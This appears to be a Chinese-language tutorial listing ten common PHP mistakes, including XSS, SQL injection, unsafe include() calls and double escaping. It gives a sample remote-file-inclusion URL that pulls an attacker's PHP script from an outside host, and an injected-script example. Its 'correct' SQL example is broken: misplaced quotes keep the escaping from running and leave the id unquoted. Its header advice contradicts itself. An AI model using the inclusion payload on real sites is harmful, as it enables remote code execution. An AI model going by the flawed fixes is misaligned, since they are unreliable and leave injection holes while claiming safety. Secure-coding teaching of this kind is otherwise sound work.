1.不转意html entities 
  一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。 echo $_GET['usename'] ;
这个例子有可能输出：
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患，除非你保证你的用户都正确的输入。
如何修复 ：
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and ")，函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法： 

echo htmlspecialchars($_GET['username'], ENT_QUOTES); 

2. 不转意SQL输入
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！
如何修复：

和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数 正确做法：

<?php  
$sql = "Update users SET  
name='.mysql_real_escape_string($name).'  
Where id='.mysql_real_escape_string ($id).'";  
mysql_query($sql);  
?> 

3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]

每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。
头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。
如果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发，而在部署到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设置........。

如何修复:
确保在输出之前调用http-header相关的函数，并且令output_buffering = Off
。

4. Require 或 include 的文件使用不安全的数据
再次强调：不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。

例如:
index.php

<?  
//including header, config, database connection, etc  
include($_GET['filename']);  
//including footer  
?> 

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息，或执行一个PHP脚本。 
如果allow_url_fopen=On，你更是死定了：
试试这个输入：
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。
如何修复：
你必须自己控制哪些文件可以包含在的include或require指令中。

下面是一个快速但不全面的解决方法：

<?  
//Include only files that are allowed.  
$allowedFiles = array('file1.txt','file2.txt','file3.txt');  
if(in_array((string)$_GET['filename'],$allowedFiles)) {  
include($_GET['filename']);  
}  
else{  
exit('not allowed');  
}  
?> 

5. 语法错误
语法错误包括所有的词法和语法错误，太常见了，以至于我不得不在这里列出。解决办法就是认真学习PHP的语法，仔细一点不要漏掉一个括号，大括号，分号，引号。还有就是换个好的编辑器，就不要用记事本了！

6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术，结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多，越来越好，我们没有理由不使用面向对象。

7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事，我们为何不使用他们呢？

8. 不知道PHP中已经有的功能
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual，在google上检索一下，也许会有新的发现！PHP中的exec()是一个强大的函数，可以执行cmd shell，并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd() 

9.使用旧版本的PHP

很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现\'或\'"吗？这通常是因为在开发者的环境中magic_quotes 设置为off，而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本：
It's a string

magic quotes on :
It\'s a string
又运行一次
addslashes():
It\\'s a string

HTML输出:
It\'s a string

还有一种情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次！